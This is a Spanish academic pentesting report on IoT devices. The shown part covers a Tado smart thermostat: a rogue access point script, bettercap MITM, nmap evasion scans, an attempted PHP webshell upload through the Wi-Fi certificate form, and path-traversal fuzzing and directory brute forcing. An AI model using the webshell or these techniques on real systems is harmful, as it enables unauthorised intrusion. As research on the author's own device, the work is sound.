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Abstract

This project consists of the security and vulnerability analysis of two loT devices (both software
and hardware), in order to exploit them and obtain the maximum privileges of the equipment.
The chosen embedded devices are a smart thermostat and a smart pet feeder. A deep research
for these two devices has been carried out with the objective of identifying possible security
deficiencies. To this end, an attempt has been made to standardize the same methodology in
both devices, which consists in first identifying device functionalities, followed by an analysis of
the network traffic that the device exchange with its servers, services analysis before and after
the device is in operational mode and a small analysis of the Android application.

All of these points discussed above have been supported by an analysis of the hardware
implemented in the equipment in a way that facilitates the task of exploitation.

At the end of the project, a compilation of vulnerabilities identified during the research and
security measures implemented by the manufacturers of the loT devices that have been chosen
have been made.
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Resumen

Este proyecto consiste en el andlisis de seguridad y vulnerabilidad de dos dispositivos de loT
(tanto a nivel de software como de hardware), con el fin de explotarlos y obtener los maximos
privilegios del equipo. Los dispositivos elegidos son un climatizador inteligente y un dispensador
de comida inteligente para mascotas. Se ha realizado una profunda investigacidn para estos dos
dispositivos con el objetivo de identificar posibles deficiencias de seguridad. Para ello, se ha
intentado estandarizar la misma metodologia en ambos dispositivos, que consiste en identificar
primero las funcionalidades del dispositivo, seguido de un analisis del trafico de red que el
dispositivo intercambia con sus servidores, escaneo y analisis de servicios antes y después de
gue el dispositivo esté en modo operativo y un pequeiio analisis de la aplicacidon de Android.

Todos estos puntos comentados anteriormente han sido respaldados por un analisis del
hardware implementado en el equipo de manera que facilita la tarea de explotacién.

Al final del trabajo, se ha realizado una recopilacién de medidas de seguridad implantadas por
los fabricantes de los dispositivos loT que se han elegido y las vulnerabilidades que se han
identificado durante el trabajo de investigacion.

Palabras Clave: dispositivos embebidos, |0T, reversing, pentesting, seguridad, explotacion
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1. Estado del Arte

El concepto de loT (Internet of Things) se corresponde con un conjunto enorme de dispositivos
conectados a Internet, que no son ordenadores convencionales. Se le dio este término cuando el
numero de dispositivos superé al nimero personas conectadas a Internet, por lo que ya no se
podia asumir que Internet estaba solo formado por personas interconectadas a través de sus
dispositivos, sino que realmente existen equipos “auténomos” conectados a la red. Estamos
ante una masa de dispositivos “desatendidos” que se conectan a Internet con alguna finalidad
como puede ser enviar informacién, o permitir el acceso remoto al dispositivo.

Hay gran variedad de dispositivos como relojes, neveras, hornos, coches, sistemas de control
domético, wearables, sistemas de control de trafico, etc. Todos hemos visto u oido hablar, e
incluso disponemos de dispositivos de este tipo, pero la mayoria no somos conscientes de las
implicaciones de seguridad y los riesgos potenciales a los que se encuentran expuestos estos
dispositivos, y en consecuencia las personas y organizaciones que los utilicen.

En general los dispositivos loT son dispositivos empotrados, es decir, que son menos complejos
gue por ejemplo un ordenador convencional. Esto es debido a que estan disefiados con una
funcionalidad especifica y no con un propdsito general. Se trata de equipos mds heterogéneos,
ya que los fabricantes emplean sus propias implementaciones, descartando en la mayoria de los
casos un sistema operativo “tipico” o comun como sucede con los ordenadores vy
smartphones. Esto dificulta en gran medida el establecimiento de politicas de seguridad o la
gestion de actualizaciones.

Otro aspecto fundamental es que, en la mayoria de los casos, el problema no estad en las
capacidades del dispositivo, sino en las decisiones tomadas por los fabricantes respecto a las
configuraciones por defecto de los mismos. En general, los dispositivos 10T no disponen de
interfaz de usuario o controles, por lo que se tiene que facilitar el acceso a sus interfaces de
administracién mediante otros medios menos amigables para el usuario, por lo que la gran
mayoria de los usuarios no seran capaces de modificar la configuracion de su dispositivo.

Este hecho, sumado a que los fabricantes no suelen establecer una configuracién de seguridad
por defecto adecuada, hace que los dispositivos posiblemente mantengan una configuracion
potencialmente insegura.

También uno de los casos a tener en cuenta es su ubicacion fisica. Estos dispositivos
normalmente se encuentran altamente distribuidos, lo que hace que sean mas dificiles de
proteger, ya que puede ser muy sencillo obtener acceso fisico a ellos, lo que entrafia uno de los
riesgos potenciales mas graves de seguridad.



2. Descripcién y Objetivo

Este trabajo consiste en el analisis de seguridad y vulnerabilidades de dos dispositivos loT (tanto
a nivel de software como hardware), con el objetivo de poder explotarlas y obtener los maximos
privilegios el equipo.

2.1. Metodologia

Se ha realizado un estudio del nivel global de estos dispositivos con el objetivo de identificar
posibles carencias en seguridad. Para ello se ha intentado estandarizar la misma metodologia
en ambos dispositivos, que consiste en:

e I|dentificar funcionalidades del dispositivo

e Andlisis del trafico de red que intercambia con sus servidores

e Escaneo de servicios antes de que esté en modo operacional

e Escaneo de servicios en modo totalmente funcional

e Andlisis del hardware del equipo (memoria flash, puerto serie, interfaz JTAG, etc)
e Pequeiio analisis de la aplicacién de Android

Esta metodologia no ha sido estrictamente aplicada dado que como ha sido un proceso de
investigacion y cada dispositivo es diferente, ésta puede llevar un camino distinto para cada
caso.

Al final del trabajo, se ha realizado una recopilacién de medidas de seguridad implantadas por
los fabricantes de los dispositivos 10T que se han elegido y las vulnerabilidades que se han
identificado durante el trabajo de investigacion.

2.2. Dispositivos loT

El criterio de seleccién de los equipos loT para el desarrollo de este proyecto se ha basado
fundamentalmente en dos puntos: que no tenga ninguna vulnerabilidad publica, es decir, se ha
buscado en diferentes fuentes publicas que no tenga ninguna vulnerabilidad asociada a ese
dispositivo ni a alguin otro que pueda tener ese fabricante, y que tenga diversas funcionalidades,
de forma que a la hora de realizar la investigacidn se tenga una mayor superficie de ataque.

Entre las opciones de dispositivos 10T a elegir se encontraban camaras IP, sistemas de
iluminacidon automaticos, climatizadores inteligentes, dispensadores de comida inteligente y
hervidores/teteras inteligentes.

Inicialmente se eligié como dispositivo un climatizador inteligente del fabricante alemdn Tado,
que tras haber realizado todo el andlisis y ver que no tenia aparentemente ninguna brecha de
seguridad, se selecciond un segundo dispositivo, que es un dispensador de comida inteligente
del fabricante chino Petwant, del cual si que se obtuvieron distintas vulnerabilidades.



3. Climatizador Inteligente

3.1. Descripcion y funcionalidades

El climatizador inteligente de Tado es un dispositivo que controla tu aire acondicionado de
forma automatica a través de tu smartphone. Tado apaga tu aire acondicionado cuando la tltima
persona deja la casa y lo vuelve a encender cuando detecta que la primera persona estd por
volver.

El climatizador Tado te informa acerca de la temperatura actual de tu hogar, los ahorros que
esto supone y te permite controlar tu aparato de aire acondicionado de forma remota desde
cualquier lugar gracias a la aplicacién que dispone para Android e i0OS, y al panel de
administracién del que dispone en su web.

Funciona con todos los dispositivos de aire acondicionado y bombas de calor que dispongan de
un mando a distancia: Unidades de split y multi-split, dispositivos de ventanas y portatiles.

El equipo dispone de superficie tactil para controlarlo, pantalla tactil LED para mostrar
informacidn y emisores de infrarrojos para transmitir las sefales al aire acondicionado.

FIGURA 1 - CLIMATIZADOR INTELIGENTE TADO

Caracteristicas:

= Control desde cualquier lugar: Enciende o apaga tu AC y cambia los ajustes en la app
desde donde estés, en cualquier momento.

= Programacién inteligente: Ajusta programaciones personalizadas con diferentes
temperaturas a distintas horas del dia segun tus necesidades.

= Ahorro energético: Puedes ahorrar hasta el 40% del gasto energético de tu AC.

= El climatizador inteligente Tado se conecta a Internet a través de tu Wi-Fi.



= Los datos que se transmiten entre el dispositivo, el servidor y los dispositivos mdviles se
cifran usando la misma tecnologia que se usa en la banca online.

= Actualizaciones automaticas: Los dispositivos Tado reciben actualizaciones automaticas
y las nuevas funciones tan pronto estan disponibles.

= Compatibilidad con IFTTT, de forma que se puede configurar acciones complejas que
involucren el envio de notificaciones, la activacion en funcién de la temperatura
exterior, etc.

= APl para interactuar con la informacién que recoge el dispositivo

3.2. Entorno de comunicaciones

Lo primero de todo es desplegar el dispositivo, para ello necesita ser configurado y alimentacion.
Las credenciales del Wi-Fi solo pueden ser configuradas a través de la aplicacion de Android /
i0S.

Una vez que tenga configurada la red Wi-Fi a la que tiene que conectarse, el resto de parametros
de configuraciéon como pueden ser el tipo de aire acondicionado, los controles remotos y demas,
pueden ser configurados o bien con la aplicacidn para mévil o bien desde la seccién para clientes
que dispone en la web https://my.tado.com.

Una vez ya configuradas las credenciales del Wi-Fi, el equipo ya podrd establecer comunicacion
con sus respectivos servidores, a los cuales el usuario puede enviar drdenes a través de los
medios mencionados anteriormente para poder controlar remotamente el aire acondicionado.

PC / Mavil

— 5

Servidores Tado
\ SN .
TLSV1.2 /

R

Termostato

FIGURA 2 - DIAGRAMA DE COMUNICACIONES DEL CLIMATIZADOR

Con todo el entorno ya definido, se puede comenzar a aplicar la metodologia descrita en el
apartado 2, el analisis de trafico, para ello habra que configurar el dispositivo de forma que se
conecte a una red Wi-Fi especificamente creada para el andlisis del trafico y redirigir todo el
tréfico hacia un interfaz que disponga de conexion a Internet.


https://my.tado.com/

3.3. Proxy transparente MITM

El objetivo de este punto es ver las comunicaciones entre el equipo y los servidores de Tado en
claro. Para ello se va a crear un punto de acceso en el que todo el trafico HTTP y HTTPS pase por
un proxy. No todos los adaptadores de red inalambrica valen para crear un punto de acceso.

El punto de acceso Wi-Fi se va a crear en la tarjeta de red “wlan1” y se va a redirigir todo ese
trafico hacia la tarjeta de red que esta conectada a Internet, en este caso una red cableada
(eth0).

Para realizar todo este proceso se ha creado un script en Bash, que principalmente realiza:

=  Configuracioén del servidor DHCP y DNS (DNSmasq)
= Configuracién los pardmetros del punto de acceso (Hostapd).
= Configuracién de Iptables para redirigir el trafico.

iface_inet
iface_Al
55ID=

nmcli radio wifi off
rfkill unblock wlan

ifconfig $iface AP 10.8.0.1/24 up

p-option=
p-option




iptables
iptables

iptables -t nat -A POSTROUTING -o $iface_inet -j MASQUERADE
iptables -A FORWARD -i $iface AP -o $iface_inet -j ACCEPT

iptables -t nat -A PREROUTING -i wlanl -p tcp --destination-port 443 -j REDIRECT --to-ports 868
iptables -t nat -A PREROUTING -i wlanl -p tcp --destination-port 8@ -j REDIRECT --to-ports 808

echo 1 > /[proc/sys/net/ipvd/ip_forward

service dnsmasq restart

echo "Run -»> hosta

echo "Run inte = --no-spoofing --no-discovery --proxy --proxy-https

SCRIPT 1- CONFIGURACION PUNTO DE ACCESO

Para realizar Man In The Middle, se va a utilizar la herramienta Bettercap.

BetterCAP es una herramienta potente, flexible y portatil creada para realizar diversos tipos de
ataques MITM contra una red, manipular trafico HTTP, HTTPS y TCP en tiempo real, buscar
credenciales y mucho mas.

/SetupWi-FiAP.sh
hostapd /etc/hostapd/hostapd.conf &

bettercap —interface wlan1 —no-spoofing —no-discovery —proxy —proxy-https —sniffer-output
MITM_capture.pcap

= —interface: Selecciona la interfaz de red

= --no-spoofing: Para que no haga spoofing ya que esta habilitado por defecto
= --no-discovery: Para que no busque activamente hosts

= --proxy: Activa el proxy HTTP

= --proxy—https: Activa el proxy HTTPS

= --sniffer-output: Para guardar el trafico capturado

Al conectar el equipo al punto de acceso, se conecta sin problemas pero cuando el equipo
intenta conectarse con los servidores, no llega a establecer comunicacién, dando lugar a un error
de conexién con el servidor (no se llega a establecer el handshake).

Se comunica principalmente con 2 servidores Amazon EC2:

= 54.77.54.3:443
= 52.213.7.212: 443

Ambos dominios resuelven en https://ic.my.tado.com



https://ic.my.tado.com/

3.4. Escaneo de Servicios

Para llevar a cabo el escaneo del equipo se van a usar dos herramientas: Nmap y Nessus.

Nmap es un programa de cédigo abierto que sirve para efectuar rastreo de puertos escrito
originalmente por Gordon LyonSe. Se usa para evaluar la seguridad de sistemas informaticos,
asi como para descubrir servicios o servidores en una red informdtica, para ello Nmap envia unos
paquetes definidos a otros equipos y analiza sus respuestas.

Este software posee varias funciones para sondear redes de computadores, incluyendo
deteccidn de equipos, servicios y sistemas operativos. Estas funciones son extensibles mediante
el uso de scripts para proveer servicios de deteccién avanzados, deteccién de vulnerabilidades
y otras aplicaciones. Ademas, durante un escaneo, es capaz de adaptarse a las condiciones de
la red incluyendo latencia y congestion de la misma.

Nessus es un programa que escanea vulnerabilidades de diversos Sistemas Operativos
(Windows - Linux - Mac - Solaris, etc...), ademas de encontrar errores de configuraciones y
vulnerabilidades, ya sean por falta de actualizacion del S.0O, puertos que pueden llevar a sesiones
meterpreter, procesos Web o fallos en softwares instalados (Apache, Mysq|, etc).

En los primeros escaneos se han usado los siguientes comandos con Nmap:

nmap -v =sT —p-—r -T5 192.168.0.1

nmap -v -sU —p- -r —-T5 192.168.0.1

= -v: Activa el modo verbose

= -sT: Escaneo de tipo TCP (connect)

= -sU: Escaneo de tipo UDP

= -p-: Seleccién de todos los puertos (1-65535)
= -r: Escaneo de puertos consecutivos

= -T5: Escaneo agresivo (rapido)

Con esto se consigue hacer un escaneo agresivo de todos los puertos posibles UDP y TCP, de
forma consecutiva, con el fin de poder ver qué servicios corren en qué puertos.

Al no tener resultados, parece que puede haber un firewall escondiendo las cosas o que
realmente no tenga ningun servicio activo, para ello se han usado otro tipo de comandos con
nmap:

nmap -V —sS -f —p- —r —T5 192.168.0.1

= -sS: Escaneo de tipo SYN sigiloso
= -f: Fragmentado de paquetes

nmap —-v =SS -f —p- —-r =T5 192.168.0.1 —source-port 443

= -sS: Escaneo de tipo SYN sigiloso
= --source-port: Especifica el puerto de origen


https://es.wikipedia.org/wiki/Software_de_c%C3%B3digo_abierto
https://es.wikipedia.org/wiki/Esc%C3%A1ner_de_puertos
https://es.wikipedia.org/wiki/Red_de_computadores
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https://es.wikipedia.org/wiki/Sistemas_operativos
https://es.wikipedia.org/wiki/Red_de_computadores
https://es.wikipedia.org/wiki/Latencia
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nmap —-v -mtu 8 —p- -r —T5 192.168.0.1

= -sS: Escaneo de tipo SYN sigiloso
= --mtu: Especifica la unidad méaxima de transmisién (debe ser multiplo de 8)

Después de lanzar lo escaneo mencionados, no se ha obtenido ningln resultado. Todos los
puertos se encuentran cerrados o filtrados.

Para tener una “segunda opinidn” se ha usado el Nessus, configurado para que haga un escaneo
en profundidad del equipo y los resultados son los mismos, todos los puertos se encuentran
cerrados o filtrados.

FIner ~

Host Details
Sev v Name Family Count =N 192.168.1.139
MAC: 7ciec:79:f4:95:24
Ethernet Card Manufacturer Detection Misc. 1
° Start: August 12 at 12:08 PM
End: August 12 %2:12 P
Nessus Scan Information Settings 1
® 9 Elapsed: 4 minutes
KB: Download

Vulnerabilities

® Critical
High
Medium

® Low

® Info

FIGURA 3 - REPORTE DE NESSUS (1)

Ethernet Card Manufacturer Detection

Description
Each ethernet MAC address starts with a 24-bit Organizationally Unigue Identifier (OUI). These OUls are registered by IEEE.

See Also
http://standards .ieee.org/fags/regauth. htm|
http:/fwww.nessus.org/u?794673b4

Output

Port Hosis

NIA 192.168.1.139 @

FIGURA 4 - REPORTE DE NESSUS (2)



3.5. Andlisis de la aplicacion Web

Antes de que el equipo este en modo completamente funcional, hay que configurarlo para que
se conecte a una red Wi-Fi, durante este proceso el equipo monta un punto de acceso con un
pequefio servidor web para procesar las credenciales del Wi-Fi al que se tiene que conectar.

Security Type
WPA / WPA2 =
SsID

Password

Save | %

Create a WIFI profile

FIGURA 5 - INTERFAZ WEB PARA LA CONFIGURACION DEL WI-FI

Andlisis de servicios:

Antes de nada se va a realizar un escaneo de todos los puertos TCP y UDP para ver si hay algo
mas detrds ademas del servidor web. Para ello se va a hacer uso de la herramienta Nmap:

nmap —sT —p--T5 192.168.1.1

nmap —sU —p--T5 192.168.1.1

= -sT: Escaneo de tipo TCP (connect)

= -sU: Escaneo de tipo UDP

= -p-: Seleccién de todos los puertos (1-65535)
= -T5: Escaneo agresivo (rapido)

De esta forma se va a realizar un escaneo de puertos tanto TCP como UDP.
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FIGURA 6 - ESCANEO PUERTOS TCP cON NMAP

iaining)

FIGURA 7 - ESCANEO DE PUERTOS UDP cON NMAP

Como se puede ver, los Unicos puertos que tiene abierto son el 80, con un servidor web HTTP y
el 1080, con un servicio llamado “socks”.

El servicio socks suele ser un proxy, por lo tanto, se va a intentar hacer un escaneo del equipo
desde el propio equipo, haciendo que el comando se lance desde el proxy.

Para esto se va a hacer uso de Proxychains, una herramienta que fuerza cualquier conexién TCP
hecha por cualquier aplicacidn a seguir a través de uno o mas proxies (como TOR o cualquier
otro SOCKS4, SOCKS5 o proxy HTTP). Admite autenticacion de tipo: "user / pass" para SOCKS4 /
5y "basic" para HTTP.

Para ello, editar el archivo “/etc/proxychains.conf” y modificar la dltima linea con:

socks4 192.168.1.1 1080

Una vez guardado el archivo, ejecutar el comando:

proxychains nmap -sT -p- 127.0.0.1



Después de hacer la conexidon con el supuesto proxy, lo Unico que se obtiene son timeouts y no

se obtiene ningun resultado.

Subida de ficheros:

En el caso en el que se quiera configurar el Wi-Fi con métodos de autenticacidn con certificados,
la aplicacidn web permite subir los certificados a través de los campos que se ven en la imagen.
Lo que se va a hacer es subir otro tipo de archivo como puede ser una imagen (para ver dénde
la puede guardar) o un webshell en PHP, y luego intentar ejecutarlo desde el navegador.

SSID

Identity

Anonymous Identity

Password

EAP Method
PEAPO

Phase 2 Authentication
MSCHAPV 2

Ignore root CA certificate

Save

Upload only when needed

Server root CA certificate (PEM)
Browse.. | No file selected.

Client private key (PEM)
Browse.. | No file selected.

Client certificate (PEM)
Browse... | Nofile selected.

Create a WIFI profile

FIGURA 8 - CONFIGURACION DE PARAMETROS DE LA RED WI-FI

El script en php que se va a usar es el siguiente:

L B

s VI 3 (Y Y

(SR

Ec:?p':p
—]if (isset($ REQUEST(['cmd'])){
echo "<pre>";

S$cmd = (§ REQUEST['cmd']):

1)+-

system(Scmd) ;
echo "</pre>":
die

FIGURA 9- PHP WEBSHELL



Este script lo que hace es ejecutar el comando que se quiera en el sistema mediante el
pardmetro “cmd” recogido de la URL mediante GET.

A la hora de subir los archivos lo que hace la aplicacion web es, primero transforma el contenido
en hexadecimal y luego calcula el tamano total del archivo en bytes, y en funcidn de eso, calcula
cuantos bloques de 62 bytes tiene que enviar (por cada bloque una peticion POST).

Referer: http://192.168.1.1/
Content-Length: 73
Connection: keep-alive
Host: 192.168.1.1

TUTTLEN L TIPE . SPPLICa Loy AW 1O - UT LT e oaey

_[ il HixmryT %, Search T [ alerts T | Output T & Fuzzer m

_ SL_P_(01-3c3f7068700a6966286973736574282451524551554553545b27636d64275d

@ @ | Filter: OFF

Id

Req. Timestamp | Meth... | URL | Co... | Reason | RTT | Size Resp. ... | Highest Alert | Note | Tags
17 23/08/17 13:5... GET http://192.168.1.1/status.json?t=0.214... 200 OK Fuas

5

-1/No_content 204 No Co...
Ja _2Jngn7 3.5 BOST httn-/no2 168 1 1 /N ant 204 No Co l

8 23/08/17 13:5...

34 bytes F Low JSON
0 bytes
O hutae

FIGURA 10 - BURP FILE UPLOAD (1)

En la siguiente imagen se puede apreciar como coge bloques de 62 bytes del script en php:

1
Text to be enceded/decoded/hashed

Encode/Decode/Hash

[3¢3f7068700a696628697373657428245f524551554553545b27636d64275d|

{Encnde i Dmocla] Hash Tlllegal UTF&]

Base 64 Decode
‘WN“M.-' & O - GHOe GO GLOGIH G- 6

URL Decode

3c 3f706870036966286973736574282E5F524551554553545b2?536d642?5d

ASCIl Hex Decode

=?php
iflisset($_REQUEST['cmd']

FIGURA 11 - BURP FILE UPLOAD (2)



Una vez subida la imagen y el script en php, se crea un diccionario de posibles rutas donde
puedan estar guardados esos archivos, para esto Dotdotpwn es de gran ayuda.

Dotdotpwn es un fuzzer inteligente muy flexible para descubrir vulnerabilidades de tipo path
traversal en software como servidores HTTP / FTP / TFTP y plataformas web como CMS, ERPs,
Blogs, etc. En este caso solo se ha usado para generar listas de URLs para intentar explotar el
path traversal desde otra herramienta.

dotdotpwn —m stdout —o “unix” —f “etc/ssl/certs/imagen.png” > imagenlist1

= -m: Con “stdout” se especifica que los resultados de la ejecucién solo los imprima por
pantalla

= -0: Especifica el sistema operativo del objetivo (en este caso “Unix”)

= -f: Se especifica el nombre del archivo en base al que se quiere crear la lista

FIGURA 12 - DOTDOTPWN LISTAS (1)

Con esto se consigue crear tres listas con posibles rutas donde se haya podido guardar laimagen
(rutas tipicas donde se encuentran los certificados) en base a muchas combinaciones de paths
del sistema:

FIGURA 13 - DOTDOTPWN LISTAS (2)



Una vez generadas las listas con las posibles combinaciones, se pasan como payload en el fuzzer
de OWASP Zap.

ZAP (Zed Attack Proxy) es una herramienta de cédigo abierto para pruebas de penetracion, de
facil uso y con multiples componentes, para encontrar vulnerabilidades en aplicaciones
web. Estd activamente mantenida por una comunidad de voluntarios.

Fuzzer
[Fuzz Locations T Options T Message Processors | Add Payload (]
— — Type: | Fil
| Header: Text _v] Body: Text Payload L A
GET http://192.168.1. 1/ HTTR | ot ender (23] File: /root/Desktop/imagenlist2 Select...
User-Agent: Mozilla/5.0 (x11
Firefox/45.0 Value: Character Encoding: | UTF-8 M|
Accept: text/html,applicatio Payloads: Limit: [_]
Accept-Language: en-US,en;g= — 4
Connection: keep-alive # a| Type Description | # e
Host: 192.168.1.1
Comment Token: #
Ignore Empty Lines: ||
Ignore First Line: [
Payloads Preview: | ../etc/ssliprivatefimagen.png s
..;'..fetcf&alfprivateﬁmaqen.pnq )
..I..I..Jetc/ssl/private/imagen.png
— oL dete] 5slfpr|vate.f\magen png —]
1 woleoodddf L ebCssl privatelimagen.png
L .\etcisshprivate\imagen.png
AGletcisshprivatelimagen. png
ﬂ | Abtetelssiprivatelimagen.png -|
tp:y |] Remove without confirmation ahebed ‘.erc\ssl\prmate Imagen.png
-
%')f %‘)fnrrﬁmql%?tnnvatp%?ﬁmaﬂpn Lona - L]
L >
| & save...
@ L J
T Cancel Add

FIGURA 14 - OwAsP ZAP LFI FuzzinG

Con ninguna de las tres listas se ha obtenido una respuesta del servidor “valida”.

Fuzzing:

Para analizar las peticiones que se envian desde el navegador al servidor web, se va a usar
Burpsuite y Owasp Zap.

Burp Suite es una herramienta similar a ZAP, es un conjunto de herramientas basada en java
gue permite comprobar la seguridad de aplicaciones web. Esta suite consiste en un servidor
proxy para analizar las peticiones, un rastreador web y también permite realizar tests de
intrusion.

Cuando se utiliza el servidor Proxy y se configura el navegador para funcionar con ello, es posible
tener control total sobre el trafico intercambiado entre el servidor web y el navegador web. Burp
Suite permite manipular los datos antes de enviarlos al servidor web, todo se hace de forma
grafica a través de una interfaz muy sencilla. Con esta funcionalidad se pueden reproducir bugs
y vulnerabilidades del sitio web.

El “intruder” permite automatizar ataques contra las pdaginas web bajo el protocolo HTTP,
también proporciona una herramienta para generar solicitudes maliciosas HTTP como SQL



injection o XSSy se pueden hacer ataques de fuerza bruta contra usuarios del servicio. También
incorpora un repetidor para modificar las respuestas del servidor y reenvidrselas observando los
resultados.

| Burp Suite Free Edition v1.7.26 - Temporary Project [-IC N -]

Burp Intruder Repeater Window Help

L i‘largel I Frowy | spider | Scanner i Intruder T Repeater I Sequencer T Decoder T Comparer T Extender T Project options T User options I Alerts ]

[ine

ept | HTTP history | WebSockets history Toptions ]

| Filter: Hiding €SS, image and general binary content ‘;?J
#  a|Host | Method | URL |Params | Edited  |Status | Length MIME type | Exten
1 http://192.168.1.1 GET i ] O 200 8255 HTML ‘
2 http://192.168.1.1 GET Jstatus.json?t=0.24070739217759407 )] ] 200 a7 50N json
3 http://192.168.1.1 GET Jstatus.json?t=0.6157408179580425 ] (] 200 a7 JSON json
4 http:192.168.1.1 GET Jstatus.json?t=0.8796594095934047 ) ] script json
5 http://192.168.1.1 GET Jstatus.json?t=0.41435050344361524 ) a seript json
] http://192.168.1.1 GET Jstatus.json?t=0.7561221815683944 ] ] script json
7 http://192.168.1.1 GET Jstatus.json?t=0.14063332516215432 @ (] script json
B8 http://192.168.1.1 GET Jstatus.json?t=0.7815343753887949 W (] script json
9 http:/192.168.1.1 GET f5tatus.json?t=0.5016660432419807 ] ()] script json
10 http://192.168.1.1 GET fstatus.json?t=0.219822384464184 ] (] script json
11 http://192.168.1.1 GET Jstatus.json?t=0.49309438694538854 ) O script Json
F1S J "

Request | Response ]

il!aw Headers | Hex [

GET / HTTP/1.1 g7 Yy
Host: 192.168.1.1

User-Agent: Mozillas5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=6.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Connection: close

Cache-Control: max-age=0

FIGURA 15 - BURP SUITE

Analizando el comportamiento de la pdgina principal (ver imagen) se puede ver que cada poco
tiempo automaticamente se llama a “status.json” para comprobar el estado del equipo y
mostrar en la pagina principal un mensaje segun su estado. Estos estados se pueden ver en el
javascript de la pagina principal, estos son algunos:

function print_status(){
switch(status){
case"IDLE":
color="blue";
message="Create a WIFI profile”;
break;
case"CERT_RECV_DATA":
color="blue";

case"PROFILE_ADDED":
color="green";
message="Connecting to new profile”;
setTimeout(reload_page,5000);
break;
case"CERT_ERROR_UNEXPECTED":
color="red";
message="ERROR: Unexpected data received";

message="Uploading certificate...”;
break; break;
case"CERT_NEW_RECEIVED": case"CERT_ERROR_SIZE":
color="red";

color="blue";
message="Uploading complete”;
break;

case"CERT_SAVED_1":
color="green";
message="Root CA saved";
break;

case"CERT_SAVED_2":
color="green";
message="Private key saved”;
break;

case"CERT_SAVED_3":
color:"grecn"% - message="ERROR Invalid password length";
message="Certificate saved”; break;
break: Bamieews e Epass sasiecsies

message="ERROR: Certificate size too big";
break;

case"CERT_ERROR_SAVE":
color="red"; I
message="ERROR: Could not save certificate";
break;

case"PROFILE_ERROR_SSID_LEN":
color="red";
message="ERROR Invalid SSID length";
break;

case"PROFILE_ERROR_PASSWORD_LEN":
color="red";

FIGURA 16 - EsTADOS JSON DE LA WEBAPP



Las peticiones POST que se realizan desde el navegador para guardar las credenciales del Wi-Fi

a través de la aplicacidon web tienen la siguiente forma:

Burp Intruder Repeater Window I%p

iTarget I Proxy T Spider Tscanner ]Intruder T Repeater I Sequencer TDecader ]'Comparel TExtender I Project options Tuser options ] Alerts ]

Burp Suite Free Edition v1.7.26 - Temporary Project (- <]

| niercept | HTTP history TWebSockeh: history IOptions ]

|_ .’J Request to http://192.168.1.1:80

IRaw Params | Headers iHex |

|  rFoward | Drop | Interceptis on | Action [comment this iten (35 (2]

POST /No_content HTTR/1.1

Host: 192.168.1.1

User-Agent: Mozilla/5.8 (X11; Linux xB6_64; rv:45.8) Gecko/20180181 Firefox/45.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Referer: http://192.168.1.1/

Content-Length: 146

Connection: close

__SL_P_UP1=TAdD0O00000D00&__SL_P_UB82=111111111111111111111&__SL_P_UB3=3& 5L_P_UP4=5_ SL_P_UB5=&__SL_P_UB6=3&_ SL_P_UB7=2&_ SL_
P_UBS=14_ SL_P_U809=0

T

FIGURA 17 - PETICION POST BURP

Con los datos que se tienen, ya se puede empezar a hacer fuzzing a los pardmetros de la peticion
POST. El objetivo de esto es que el servidor no trate bien la entrada de parametros enviados por
la peticién HTTP y resulte en un crash. Para ello, se van a introducir bloques de miles de ‘A’s en

Ill

los diferentes pardmetros desde el “intruder” del BurpSuite:

Intruder attack 1 Q ® O
Attack Save Columns
[ Resuits | Target | positions | Payloads | options |
| Filter: Showing all items [
Request & Payload | Status Error Timeout | Length | Comment
0 204 5] g 50
1 1300 x A 204 d a S0
2 1350 x A 204 (=] g 50
El 1400 x A 204 a o 50
4 1450 x A 204 () 0 50
5 1500 x A 204 o 8 50
6 1550 % A 204 g a8 50
7 1600 x A 204 g 8 50
8 1650 x A 204 (|} 8 50
9 1700 x A 204 (|} 8 50
10 1750 x A 204 (3] g 50
11 1800 x A 204 ] 2 50

Request I Response 1

Raw Params]Headerﬁ Hex

POST /No_content HTTR/L1.1

Host: 192.168.1.1

User-Agent: Mozilla/5.0 (X11; Linux xB6_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
Accept-Language: en-US,en;g=0.5

Content-Type: application/x-www-form-urlencoded

Referer: http://192.168.1.1/

Content-Length: 1433

Connection: close [
[

ILJ < Q = [Typea search term | 0 matche

11of 175 ]

FIGURA 18 - BURP FUzZING



El equipo cuando recibe esta peticidn, lo que hace es intentar conectarse al Wi-Fi con el SSID y
password que se la ha especificado, al no existir ese Wi-Fi, el equipo en una especie de display
gue tiene, muestra que no ha sido capaz de conectarse a esa red Wi-Fi, manteniéndose en un
estado controlado.

FIGURA 19 - CLIMATIZADOR TADO MOSTRANDO ERROR EN WI-FI

La siguiente tool que se va a usar es el Dirb, una herramienta que realiza ataques de diccionario
contra un servidor web y analiza la respuesta para encontrar posibles objetos web que estén
escondidos. Como diccionario se ha usado uno el mas grande que viene con Dirb:

dirb http://192.168.1.1/ /usr/share/wordlists/dirb/big.txt

*  Objetivo: http://192.168.1.1
= Diccionario: /usr/share/wordlists/dirb/big.txt

FIGURA 20 - DIRB



Como se puede ver en laimagen, con el diccionario usado no se han encontrado objetos ocultos.

A continuacién se van a usar OWASP DirBuster y/o WFuzz con el fin de intentar descubrir
archivos y/o directorios ocultos en el servidor web (es el mismo objetivo que el anterior solo
gue ahora se va a usar otro diccionario).

DirBuster es una aplicacién Java multi hilo disefiada para obtener por fuerza bruta los nombres
de directorios y archivos en servidores Web/de aplicacién. A menudo ocurre que lo que ahora
parece un servidor Web en una fase de instalaciéon por omisiéon no lo es, y tiene pdginas y
aplicaciones ocultas. DirBuster trata de encontrar estos.

Sin embargo, las herramientas de esta naturaleza a menudo son solo tan buenas como la lista
de archivos y directorios con los que vienen. Un enfoque diferente fue usado para generar esto.
La lista fue generada desde cero, rastreando en Internet y recolectando los directorios y archivos
gue son realmente usados por los desarrolladores.

Se ha usado el diccionario mas grande que tiene Dirbuster y que se encuentra en la siguiente
ruta:

/usr/share/dirbuster/wordlists/directory-list-2.3-medium. txt

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing e e O

File Options About Help

http:/f192.168.1.1:80/

@ Scan Information * Results - List View: Dirs: 6 Files: 3 ', Results - Tree View ', A\ Errors: 726

Type | Found | Response Size
Dir ! 200 8351
Dir fwwwf 200 8351
Dir MWW 200 8351
Dir Iwwwi/safe/ 200 8351
